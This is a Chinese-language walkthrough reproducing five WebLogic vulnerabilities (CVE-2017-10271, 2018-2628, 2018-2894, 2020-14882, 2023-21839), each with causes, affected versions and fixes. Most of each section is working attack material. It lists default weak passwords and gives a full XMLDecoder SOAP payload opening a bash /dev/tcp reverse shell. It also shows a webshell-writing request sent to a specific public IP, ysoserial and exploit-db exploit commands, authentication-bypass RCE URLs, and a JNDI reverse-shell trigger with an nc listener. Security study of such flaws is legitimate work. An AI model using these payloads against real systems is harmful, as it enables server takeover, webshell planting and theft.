【漏洞复现】WebLogic 系列漏洞复现

一、WebLogic 概述

WebLogic是oracle 公司出品的java中间件,可与Oracle 产品和技术相辅相成。

其默认的开放端口是7001

默认后台登录地址:http://xxxx.xxx:7001/console

一些常见的弱口令

1
2
3
4
5
6
7
8
system:password	
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123

二、XMLDecoder反序列化漏洞(CVE-2017-10271)

1、漏洞原因

Weblogic的WLS Security 组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,由于XMLDecoder处理不当,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

2、漏洞影响

攻击者可以利用这个漏洞发送精心构造的XML数据,通过反序列化执行任意命令,甚至可以通过反弹shell拿到权限。

3、漏洞涉及版本

受影响的版本包括但不限于:

  1. OracleWebLogic Server 10.3.6.0.0
  2. OracleWebLogic Server 12.1.3.0.0
  3. OracleWebLogic Server 12.2.1.1.0
  4. OracleWebLogic Server 12.2.1.2.0

4、漏洞复现

首页如图,漏洞不在首页

image-20240516155424032

我们需要POST提交到/wls-wsat/CoordinatorPortType,并配合XMLDecoder 解析xml 数据,在解析过程中存在反序列化漏洞,造成命令执行。

命令反弹整体报文如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.31.51:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/攻击机的IP/监听的端口 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

由于我此时环境准备不够充分,在此只展示webshell 写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 81.70.248.223:7002
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 1164

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test4.jsp</string>
<void method="println"><string>
<![CDATA[
/*冰蝎马的文件内容*/
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

文件写入在/bea_wls_internal/test4.jsp中,用冰蝎进行连接

image-20240516162202590

5、漏洞修复

方法一:删除wls-wsat组件,然后重启weblogic

方法二:官网下载,打补丁

三、WebLogic反序列化漏洞(CVE-2018-2628)

1、漏洞原因

WebLogic 的T3协议是WebLogic 与Java 之间进行通讯的一个基于Java RMI远程方法调用的一个协议,攻击者可以通过T3协议发送恶意的的反序列化数据,进行反序列化,实现对存在漏洞的weblogic组件的远程代码执行攻击。

2、漏洞影响

T3协议在开放WebLogic控制台端口的应用上默认开启,攻击者可以通过T3协议发送恶意的的反序列化数据,利用RMI(远程方法调用)机制的缺陷,通过JRMP协议(java 远程消息交换协议)导致未授权用户在远程服务器执行任意命令。

3、漏洞涉及版本

  1. Oracle WebLogic Server 10.3.6.0
  2. Oracle WebLogic Server 12.1.3.0
  3. Oracle WebLogic Server 12.2.1.2
  4. Oracle WebLogic Server 12.2.1.3

4、漏洞复现

可先通过nmap脚本–script=weblogic-t3-info 查看weblogic版本信息和t3协议是否开启

1
nmap.exe -A -T4 -p 7001 IP

image-20240516171815911

看到T3协议在使用,并且WebLogic 的版本信息为:10.3.6.0

查看console 路径

image-20240516172014110

这里使用:CVE-2018-2628漏洞工具包

1、利用 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar启动一个JRMP Server

1
2
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8080 CommonsCollections1 'touch /tmp/test.txt'
'touch /tmp/test.txt'为我想执行的命令,8080是JRMP Server监听的端口。

2、下载对应的exp:https://www.exploit-db.com/exploits/44553

image-20240516175658008

3、修改名称并启动exp

1
2
3
mv 44553 44553.py

python 44553.py 172.24.0.2 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.100.34 8080 JRMPClient

4、进入docker容器可以看到存在test.txt文件

image-20240516180201425

5、漏洞修复

  1. 关闭T3服务,或控制T3服务的访问权限(临时)。
  2. 打官方补丁。

四、任意文件上传漏洞(CVE-2018-2894)

1、漏洞原因

Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。

CVE-2018-2894漏洞是由于WebLogic Server中的Web Service Test Page存在任意文件上传的缺陷。在“生产模式”下,默认不开启Web Service Test Page,因此该漏洞的利用存在一定限制。攻击者可以利用该漏洞上传任意JSP文件,进而可能获取服务器权限。

2、漏洞影响

利用CVE-2018-2894漏洞,攻击者可以上传恶意的JSP文件到服务器,这些文件可以作为webshell使用,允许攻击者远程执行代码,从而控制服务器。

3、漏洞涉及版本

  1. Oracle WebLogic Server 10.3.6.0
  2. Oracle WebLogic Server 12.1.3.0
  3. Oracle WebLogic Server 12.2.1.2
  4. Oracle WebLogic Server 12.2.1.3

4、漏洞复现

1、未授权访问/ws_utc/config.do页面

image-20240516181742024

由于在“生产模式”下,默认不开启Web Service Test Page,所以此处需要我们手动通过管理员登陆后台去开启。先看一下管理员账号密码:weblogic: TvrG557m

image-20240516182023018

2、在/console登录后台

image-20240516182201233

3、在域结构中展开高级选项

image-20240517164549660

勾选启用Web服务测试页后保存

image-20240517164637306

4、回到未授权访问/ws_utc/config.do页面

当前的工作目录修改为:

1
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

5、提交后来到安全,添加文件

image-20240517172013119

提交webshell,BP拦截,在响应包的最下面找到对应的时间戳

1
http://xxx.xxx:7001/ws_utc/css/config/keystore/时间戳_22.jsp

即可连接成功

5、漏洞修复

  1. 设置访问权限:确保 config.do 和 begin.do 页面在登录授权后才能访问,以防止未授权的文件上传尝试。
  2. 使用安全产品:考虑在入侵防御系统(IPS)等安全产品中加入相应的特征,以帮助检测和阻止利用此漏洞的尝试。
  3. 升级到最新版本:安装 Oracle 官方提供的最新补丁,以修复已知的安全漏洞。

五、WebLogic未授权命令执行漏洞(CVE-2020-14882)

1、漏洞原因

CVE-2020-14882 漏洞是由于 Oracle WebLogic Server Console 中存在路径遍历漏洞,允许攻击者构造特殊的 HTTP 请求来绕过身份验证,从而访问并修改管理员控制台的某些资源。这可能导致远程代码执行(RCE)。

2、漏洞影响

  • 远程代码执行:攻击者可以在目标系统上执行任意代码,导致服务器被完全控制。
  • 未经身份验证的访问:攻击者无需进行身份验证即可利用此漏洞。

3、漏洞涉及版本

  1. Oracle Weblogic Server 10.3.6.0.0
  2. Oracle Weblogic Server 12.1.3.0.0
  3. Oracle Weblogic Server 12.2.1.3.0
  4. Oracle Weblogic Server 12.2.1.4.0
  5. Oracle Weblogic Server 14.1.1.0.0

4、漏洞复现

1、http://xxx.xxx/console这里是登录页面

image-20240517174515867

2、构造poc未授权访问后台地址

1
http://xxx.xxx:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

image-20240517175322311

3、构造POC执行RCE

创建/tmp/1.txt文件

1
http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/1.txt%27);%22)

image-20240517183753482

进入容器查看,创建成功

5、漏洞修复

安装官方最新补丁进行升级:https://www.oracle.com/security-alerts/cpuapr2020.html

六、Weblogic 远程代码执行漏洞(CVE 2023-21839)

1、漏洞原因

WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server。该漏洞涉及到 JNDI 注入,当 JDK 版本过低或者本地存在小工具时,可能导致远程代码执行。

2、漏洞影响

风险等级:奇安信 CERT 将此漏洞的风险等级评定为 “高危”,并给出了 CVSS 3.1 评分为 8.6。

3、漏洞涉及版本

该漏洞影响以下版本的 Oracle WebLogic Server:

  1. Oracle WebLogic Server 10.3.6.0
  2. Oracle WebLogic Server 12.2.1.2.0
  3. Oracle WebLogic Server 12.2.1.1.0
  4. Oracle WebLogic Server 12.2.1.3.0
  5. Oracle WebLogic Server 12.2.1.0.0
  6. Oracle WebLogic Server 12.2.1.4.0
  7. Oracle WebLogic Server 14.1.1.0.0
  8. Oracle WebLogic Server 12.1.2.0.0
  9. Oracle WebLogic Server 12.1.3.0.0

4、漏洞复现

1、使用nmap 探测有无开启T3协议

image-20240518150255335

2、在这里使用POC

地址:https://github.com/4ra1n/CVE-2023-21839

1
git clone https://github.com/4ra1n/CVE-2023-21839

之后对main.go 进行编译

1
2
3
cd cmd
sudo apt install gccgo-go //安装go语言
go build -o CVE-2023-21839

3、开启监听

1
2
3
4
//1、开启JNDI 监听
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.126.130
//2、开启NC监听
nc -lvvp 1234

4、触发漏洞

1
./CVE-2023-21839 -ip 192.168.126.128 -port 7001 -ldap ldap://192.168.126.130:1389/Basic/ReverseShell/192.168.126.130/1234

image-20240518153723.png

获取shell

5、漏洞修复

1、Oracle 在 2023 年 1 月的安全公告中修复了这个漏洞,补丁下载链接:https://support.oracle.com/rs?type=doc&id=2917213.2

2、缓解方式:禁用 T3 及 IIOP